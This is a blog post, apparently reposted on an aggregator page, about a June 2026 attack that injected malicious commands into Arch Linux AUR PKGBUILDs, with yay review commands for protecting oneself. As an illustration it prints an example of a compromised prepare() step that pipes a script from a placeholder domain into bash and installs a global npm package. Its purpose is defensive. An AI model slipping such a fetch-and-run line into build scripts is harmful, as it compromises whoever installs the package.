Protecting Yourself from Malicious AUR Packages

speckx1 pts0 comments

Protecting Yourself from Malicious AUR Packages | NimendraProtecting Yourself from Malicious AUR Packages<br>On June 11, 2026, malicious actors pushed compromised PKGBUILDs to multiple AUR packages. Here's what happened, why it matters, and how to protect yourself.<br>June 12, 2026 · 4 min · Nimendra |<br>Suggest edit<br>Table of Contents<br>On June 11, 2026, malicious actors compromised multiple AUR packages by injecting arbitrary shell commands into PKGBUILDs. If you ran yay -Syu that day without reviewing changes, you may have been affected. Here&rsquo;s what happened and how to make sure it doesn&rsquo;t happen again.<br>What Happened?#<br>On June 11, 2026, a coordinated malware campaign was detected targeting multiple user-contributed packages on the Arch Linux AUR (Arch User Repository) . The AUR team quickly put out a report thread and started working to reset and delete malicious commits while banning the responsible accounts.1<br>Compromised accounts, or malicious contributors who had gained maintainer access, simply pushed updates. Normal-looking package updates. The kind that get auto-applied by thousands of Arch users every day with a quick yay -Syu before breakfast.<br>A routine system upgrade — the exact moment a malicious PKGBUILD would execute<br>What the Attack Actually Did#<br>The attack vector was the PKGBUILD file . Malicious commits injected arbitrary bash commands directly into PKGBUILDs. These commands execute during installation, which means the moment you run makepkg -si or let your AUR helper do it for you, the payload fires.<br>And the payload? The compromised PKGBUILDs downloaded and executed malicious packages, npm dependencies, or scripts completely unrelated to the software being installed.<br>Wait, What Even Is a PKGBUILD?#<br>If you&rsquo;re not deep into Arch-land, here&rsquo;s the short version: a PKGBUILD is a Bash script that tells makepkg how to build and install a package. It defines the source files, checksums, dependencies, and the actual installation steps.<br>Here&rsquo;s a clean, legitimate example from pi-coding-agent:<br>pkgname=pi-coding-agent<br>pkgver=0.79.1<br>pkgrel=1<br>pkgdesc='A terminal-based coding agent with multi-model support, mid-session model switching, and a simple CLI for headless coding tasks'<br>arch=('x86_64' 'aarch64')<br>url='https://pi.dev/'<br>license=('MIT')<br>options=(!debug !strip)<br>source_x86_64=("pi-linux-$pkgver.tar.gz::https://github.com/earendil-works/pi/releases/download/v$pkgver/pi-linux-x64.tar.gz")<br>sha256sums_x86_64=("dc19d2b24d15c76951fe440a47a8212cedb437a25696ebf27a55481156de9e86")<br>source_aarch64=("pi-linux-$pkgver.tar.gz::https://github.com/earendil-works/pi/releases/download/v$pkgver/pi-linux-arm64.tar.gz")<br>sha256sums_aarch64=("a191a0c8d57abf1424c560f53981c2a070f74d2863a47a7958eb16c556c4bc04")<br>noextract=("pi-linux-$pkgver.tar.gz")<br>makedepends=("tar")<br>package() {<br>mkdir -p "$srcdir/pi-linux-$pkgver"<br>tar xCf "$srcdir/pi-linux-$pkgver" "pi-linux-$pkgver.tar.gz"<br>install -d "$pkgdir/opt"<br>cp -dr --no-preserve=ownership "$srcdir/pi-linux-$pkgver/pi" "$pkgdir/opt/pi-coding-agent"<br>install -d "$pkgdir/usr/bin"<br>ln -s ../../opt/pi-coding-agent/pi "$pkgdir/usr/bin/pi"<br>cd "$pkgdir/opt/pi-coding-agent"<br>install -Dm644 README.md CHANGELOG.md -t "$pkgdir/usr/share/doc/$pkgname"

Notice what it doesn&rsquo;t do: it doesn&rsquo;t curl random scripts, it doesn&rsquo;t pull in sketchy npm packages, and it doesn&rsquo;t run commands unrelated to installing the actual software. That&rsquo;s what a healthy PKGBUILD looks like.<br>A compromised one might slip in something like:<br>prepare() {<br>curl -s https://some-sketchy-domain.com/payload.sh | bash<br>npm install -g atomic-lockfile

And if you&rsquo;re just blindly running yay -Syu, you&rsquo;d never know.<br>How to Actually Protect Yourself#<br>Most Arch users reach for yay or paru as their AUR helper of choice. Both have review features built in, but they&rsquo;re not always enabled by default. The commands below use yay — for paru, replace yay with paru as the flags are identical.<br>Enable Review Menus#<br>Before your next upgrade, run this:<br>yay --editmenu --diffmenu

This will:<br>Show you the diff (diffmenu) between the old and new PKGBUILD, so you can see exactly what changed.<br>Let you open and inspect the full PKGBUILD (editmenu) before anything gets built.<br>For a full system upgrade with review enabled:<br>yay -Syu --editmenu --diffmenu

You really want this on all the time. Save it as a permanent default with:<br>yay --save --editmenu --diffmenu

Inspect Without Installing#<br>Want to look at a PKGBUILD before committing to anything? Pull the package repo down without installing — yay -G clones the AUR git repository into a new folder in your current directory :<br>yay -G package-name<br>cd package-name<br>less PKGBUILD

Or just cat PKGBUILD if you prefer. Either way, nothing gets built or installed.<br>What to Look For When You Review#<br>When you&rsquo;re skimming a PKGBUILD, watch for the following red flags:<br>Unexpected curl, wget, or piping anything into bash or sh<br>New dependencies you don&rsquo;t...

rsquo pkgbuild malicious linux pkgver packages

Related Articles